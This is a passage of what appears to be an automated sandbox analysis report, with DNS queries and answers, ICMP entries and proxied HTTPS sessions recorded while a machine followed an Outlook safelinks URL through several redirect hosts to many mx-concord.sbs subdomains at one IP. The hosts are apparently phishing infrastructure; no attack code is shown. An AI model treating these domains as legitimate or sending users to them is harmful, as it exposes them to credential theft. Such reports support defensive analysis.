Aug 28, 2024 22:21:30.990422010 CEST	52394	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.990546942 CEST	50463	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.997437000 CEST	53	59808	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.999002934 CEST	53	59227	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.999340057 CEST	53	52292	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.999825001 CEST	51526	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:30.999960899 CEST	53	53117	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:30.999968052 CEST	55019	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:31.000462055 CEST	49949	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:31.000617981 CEST	62415	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:31.003593922 CEST	53	52394	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:31.005554914 CEST	53	50463	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:31.009969950 CEST	53	49949	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:31.010632992 CEST	53	62415	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:31.011181116 CEST	53	55019	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:31.014336109 CEST	53	51526	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:35.113610983 CEST	58155	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:35.113903046 CEST	57272	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:35.124375105 CEST	53	57272	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:35.124444962 CEST	53	58155	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:35.831423044 CEST	53	58802	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:36.448470116 CEST	53	57117	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:36.649085999 CEST	56861	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:36.649245977 CEST	62027	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:36.659502983 CEST	53	56861	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:36.662935019 CEST	53	62027	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:39.300854921 CEST	57539	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:39.301004887 CEST	52336	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:39.311042070 CEST	53	57539	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:39.317116022 CEST	53	52336	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:45.422629118 CEST	61049	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:45.422763109 CEST	64490	53	192.168.2.16	1.1.1.1
Aug 28, 2024 22:21:45.435055017 CEST	53	64490	1.1.1.1	192.168.2.16
Aug 28, 2024 22:21:45.436860085 CEST	53	61049	1.1.1.1	192.168.2.16
Aug 28, 2024 22:22:04.432442904 CEST	53	58985	1.1.1.1	192.168.2.16

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Aug 28, 2024 22:20:53.641846895 CEST	192.168.2.16	1.1.1.1	c243	(Port unreachable)	Destination Unreachable
Aug 28, 2024 22:21:39.317179918 CEST	192.168.2.16	1.1.1.1	c243	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 28, 2024 22:20:36.447635889 CEST	192.168.2.16	1.1.1.1	0xbecd	Standard query (0)	gcc02.safelinks.protection.outlook.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:36.447843075 CEST	192.168.2.16	1.1.1.1	0xef65	Standard query (0)	gcc02.safelinks.protection.outlook.com	65	IN (0x0001)	false
Aug 28, 2024 22:20:38.434314966 CEST	192.168.2.16	1.1.1.1	0xd777	Standard query (0)	api.emailinc.net	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:38.436517000 CEST	192.168.2.16	1.1.1.1	0xc909	Standard query (0)	api.emailinc.net	65	IN (0x0001)	false
Aug 28, 2024 22:20:39.618036985 CEST	192.168.2.16	1.1.1.1	0x55f	Standard query (0)	willyadventures.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:39.618186951 CEST	192.168.2.16	1.1.1.1	0xfc8e	Standard query (0)	willyadventures.com	65	IN (0x0001)	false
Aug 28, 2024 22:20:41.241831064 CEST	192.168.2.16	1.1.1.1	0xb8c9	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:41.241966963 CEST	192.168.2.16	1.1.1.1	0x433a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Aug 28, 2024 22:20:41.850258112 CEST	192.168.2.16	1.1.1.1	0x9f6	Standard query (0)	avco.co.jp	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:41.850435019 CEST	192.168.2.16	1.1.1.1	0x3879	Standard query (0)	avco.co.jp	65	IN (0x0001)	false
Aug 28, 2024 22:20:46.305594921 CEST	192.168.2.16	1.1.1.1	0x7a02	Standard query (0)	google.com	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:46.305874109 CEST	192.168.2.16	1.1.1.1	0x3b82	Standard query (0)	google.com	65	IN (0x0001)	false
Aug 28, 2024 22:20:46.308818102 CEST	192.168.2.16	1.1.1.1	0xa070	Standard query (0)	portal.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:46.308964014 CEST	192.168.2.16	1.1.1.1	0x1a0d	Standard query (0)	portal.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:20:53.614680052 CEST	192.168.2.16	1.1.1.1	0x7adf	Standard query (0)	a230fc93-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:53.614854097 CEST	192.168.2.16	1.1.1.1	0x476e	Standard query (0)	a230fc93-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:20:56.054183960 CEST	192.168.2.16	1.1.1.1	0x2ca4	Standard query (0)	a230fc93-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:56.054593086 CEST	192.168.2.16	1.1.1.1	0xc7e3	Standard query (0)	a230fc93-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:20:59.111429930 CEST	192.168.2.16	1.1.1.1	0xcab8	Standard query (0)	68bc0e6a-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:59.111608982 CEST	192.168.2.16	1.1.1.1	0xa34a	Standard query (0)	68bc0e6a-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:20:59.933286905 CEST	192.168.2.16	1.1.1.1	0x8a3f	Standard query (0)	96f04cf4-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:59.933469057 CEST	192.168.2.16	1.1.1.1	0x5516	Standard query (0)	96f04cf4-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:03.140696049 CEST	192.168.2.16	1.1.1.1	0x780e	Standard query (0)	l1ve.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.141066074 CEST	192.168.2.16	1.1.1.1	0x5730	Standard query (0)	l1ve.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:03.142085075 CEST	192.168.2.16	1.1.1.1	0x6224	Standard query (0)	96f04cf4-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.142249107 CEST	192.168.2.16	1.1.1.1	0x8cf2	Standard query (0)	96f04cf4-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:03.836973906 CEST	192.168.2.16	1.1.1.1	0xc76f	Standard query (0)	2380eb27-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.840065002 CEST	192.168.2.16	1.1.1.1	0xe903	Standard query (0)	2380eb27-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:28.054562092 CEST	192.168.2.16	1.1.1.1	0xe6e9	Standard query (0)	portal.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:28.054702997 CEST	192.168.2.16	1.1.1.1	0x5f72	Standard query (0)	portal.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.967406034 CEST	192.168.2.16	1.1.1.1	0x132e	Standard query (0)	18e976ad-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.967556000 CEST	192.168.2.16	1.1.1.1	0x8ac7	Standard query (0)	18e976ad-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.967962980 CEST	192.168.2.16	1.1.1.1	0xee3a	Standard query (0)	d850edeb-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.968091965 CEST	192.168.2.16	1.1.1.1	0x8dee	Standard query (0)	d850edeb-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.968264103 CEST	192.168.2.16	1.1.1.1	0x7e4a	Standard query (0)	995a2a74-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.968497038 CEST	192.168.2.16	1.1.1.1	0x3d10	Standard query (0)	995a2a74-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.985500097 CEST	192.168.2.16	1.1.1.1	0x758d	Standard query (0)	97b8b702-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.985673904 CEST	192.168.2.16	1.1.1.1	0xfbb3	Standard query (0)	97b8b702-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.985846043 CEST	192.168.2.16	1.1.1.1	0x8009	Standard query (0)	ed89c33c-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.985980034 CEST	192.168.2.16	1.1.1.1	0x9fa2	Standard query (0)	ed89c33c-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.990422010 CEST	192.168.2.16	1.1.1.1	0x5637	Standard query (0)	ad0ce364-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.990546942 CEST	192.168.2.16	1.1.1.1	0xca7	Standard query (0)	ad0ce364-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:30.999825001 CEST	192.168.2.16	1.1.1.1	0x7c7b	Standard query (0)	3d801160-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.999968052 CEST	192.168.2.16	1.1.1.1	0x5586	Standard query (0)	3d801160-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:31.000462055 CEST	192.168.2.16	1.1.1.1	0xd5ab	Standard query (0)	e68d1619-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:31.000617981 CEST	192.168.2.16	1.1.1.1	0xffdf	Standard query (0)	e68d1619-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:35.113610983 CEST	192.168.2.16	1.1.1.1	0xaa34	Standard query (0)	995a2a74-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:35.113903046 CEST	192.168.2.16	1.1.1.1	0xbe80	Standard query (0)	995a2a74-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:36.649085999 CEST	192.168.2.16	1.1.1.1	0x2f45	Standard query (0)	l1ve.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:36.649245977 CEST	192.168.2.16	1.1.1.1	0x8699	Standard query (0)	l1ve.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:39.300854921 CEST	192.168.2.16	1.1.1.1	0x12f9	Standard query (0)	47af7f62-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:39.301004887 CEST	192.168.2.16	1.1.1.1	0x50eb	Standard query (0)	47af7f62-b128254c.mx-concord.sbs	65	IN (0x0001)	false
Aug 28, 2024 22:21:45.422629118 CEST	192.168.2.16	1.1.1.1	0x7b04	Standard query (0)	47af7f62-b128254c.mx-concord.sbs	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:45.422763109 CEST	192.168.2.16	1.1.1.1	0x7448	Standard query (0)	47af7f62-b128254c.mx-concord.sbs	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 28, 2024 22:20:36.466880083 CEST	1.1.1.1	192.168.2.16	0xbecd	No error (0)	gcc02.safelinks.protection.outlook.com	gcc02.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 22:20:36.466880083 CEST	1.1.1.1	192.168.2.16	0xbecd	No error (0)	gcc02.safelinks.eop-tm2.outlook.com		104.47.64.28	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:36.466880083 CEST	1.1.1.1	192.168.2.16	0xbecd	No error (0)	gcc02.safelinks.eop-tm2.outlook.com		104.47.65.28	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:36.474639893 CEST	1.1.1.1	192.168.2.16	0xef65	No error (0)	gcc02.safelinks.protection.outlook.com	gcc02.safelinks.eop-tm2.outlook.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 28, 2024 22:20:38.889292955 CEST	1.1.1.1	192.168.2.16	0xd777	No error (0)	api.emailinc.net		209.208.100.119	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:38.889292955 CEST	1.1.1.1	192.168.2.16	0xd777	No error (0)	api.emailinc.net		209.208.100.118	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:39.641254902 CEST	1.1.1.1	192.168.2.16	0x55f	No error (0)	willyadventures.com		167.86.102.97	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:41.248759985 CEST	1.1.1.1	192.168.2.16	0xb8c9	No error (0)	www.google.com		172.217.16.132	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:41.248771906 CEST	1.1.1.1	192.168.2.16	0x433a	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 28, 2024 22:20:42.608985901 CEST	1.1.1.1	192.168.2.16	0x9f6	No error (0)	avco.co.jp		183.90.238.45	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:46.312500000 CEST	1.1.1.1	192.168.2.16	0x3b82	No error (0)	google.com			65	IN (0x0001)	false
Aug 28, 2024 22:20:46.312967062 CEST	1.1.1.1	192.168.2.16	0x7a02	No error (0)	google.com		142.250.186.174	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:46.321841002 CEST	1.1.1.1	192.168.2.16	0xa070	No error (0)	portal.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:53.631926060 CEST	1.1.1.1	192.168.2.16	0x7adf	No error (0)	a230fc93-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:56.068342924 CEST	1.1.1.1	192.168.2.16	0x2ca4	No error (0)	a230fc93-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:59.126590967 CEST	1.1.1.1	192.168.2.16	0xcab8	No error (0)	68bc0e6a-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:20:59.949012995 CEST	1.1.1.1	192.168.2.16	0x8a3f	No error (0)	96f04cf4-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.153871059 CEST	1.1.1.1	192.168.2.16	0x780e	No error (0)	l1ve.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.155513048 CEST	1.1.1.1	192.168.2.16	0x6224	No error (0)	96f04cf4-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:03.854671955 CEST	1.1.1.1	192.168.2.16	0xc76f	No error (0)	2380eb27-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:28.067450047 CEST	1.1.1.1	192.168.2.16	0xe6e9	No error (0)	portal.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.983522892 CEST	1.1.1.1	192.168.2.16	0x132e	No error (0)	18e976ad-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.984174013 CEST	1.1.1.1	192.168.2.16	0x7e4a	No error (0)	995a2a74-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.984184980 CEST	1.1.1.1	192.168.2.16	0xee3a	No error (0)	d850edeb-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.999002934 CEST	1.1.1.1	192.168.2.16	0x8009	No error (0)	ed89c33c-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:30.999340057 CEST	1.1.1.1	192.168.2.16	0x758d	No error (0)	97b8b702-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:31.003593922 CEST	1.1.1.1	192.168.2.16	0x5637	No error (0)	ad0ce364-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:31.009969950 CEST	1.1.1.1	192.168.2.16	0xd5ab	No error (0)	e68d1619-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:31.014336109 CEST	1.1.1.1	192.168.2.16	0x7c7b	No error (0)	3d801160-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:35.124444962 CEST	1.1.1.1	192.168.2.16	0xaa34	No error (0)	995a2a74-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:36.659502983 CEST	1.1.1.1	192.168.2.16	0x2f45	No error (0)	l1ve.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:39.311042070 CEST	1.1.1.1	192.168.2.16	0x12f9	No error (0)	47af7f62-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false
Aug 28, 2024 22:21:45.436860085 CEST	1.1.1.1	192.168.2.16	0x7b04	No error (0)	47af7f62-b128254c.mx-concord.sbs		185.225.69.39	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

slscr.update.microsoft.com

fs.microsoft.com

gcc02.safelinks.protection.outlook.com

api.emailinc.net

willyadventures.com

https:

avco.co.jp

portal.mx-concord.sbs

a230fc93-b128254c.mx-concord.sbs

96f04cf4-b128254c.mx-concord.sbs

l1ve.mx-concord.sbs

2380eb27-b128254c.mx-concord.sbs

995a2a74-b128254c.mx-concord.sbs

47af7f62-b128254c.mx-concord.sbs

outlookmobile-office365-tas.msedge.net

settings.data.microsoft.com

68bc0e6a-b128254c.mx-concord.sbs

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.16	49702	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:19 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-08-28 20:20:19 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:19 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:19 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: ba136e96-9615-4797-a01d-404897727e4f PPServer: PPV: 30 H: BL02EPF00027B39 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:19 GMT Connection: close Content-Length: 11389
2024-08-28 20:20:19 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.16	49703	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:20 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-08-28 20:20:20 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-08-28 20:20:21 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 28 Aug 2024 20:19:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C538_BL2 x-ms-request-id: ba6e83c2-709b-44d7-93db-efd3077822d1 PPServer: PPV: 30 H: BL02EPF0001D9C3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 28 Aug 2024 20:20:20 GMT Connection: close Content-Length: 11389
2024-08-28 20:20:21 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.16	49706	40.126.32.68	443

Timestamp	Bytes transferred	Direction	Data
2024-08-28 20:20:22 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
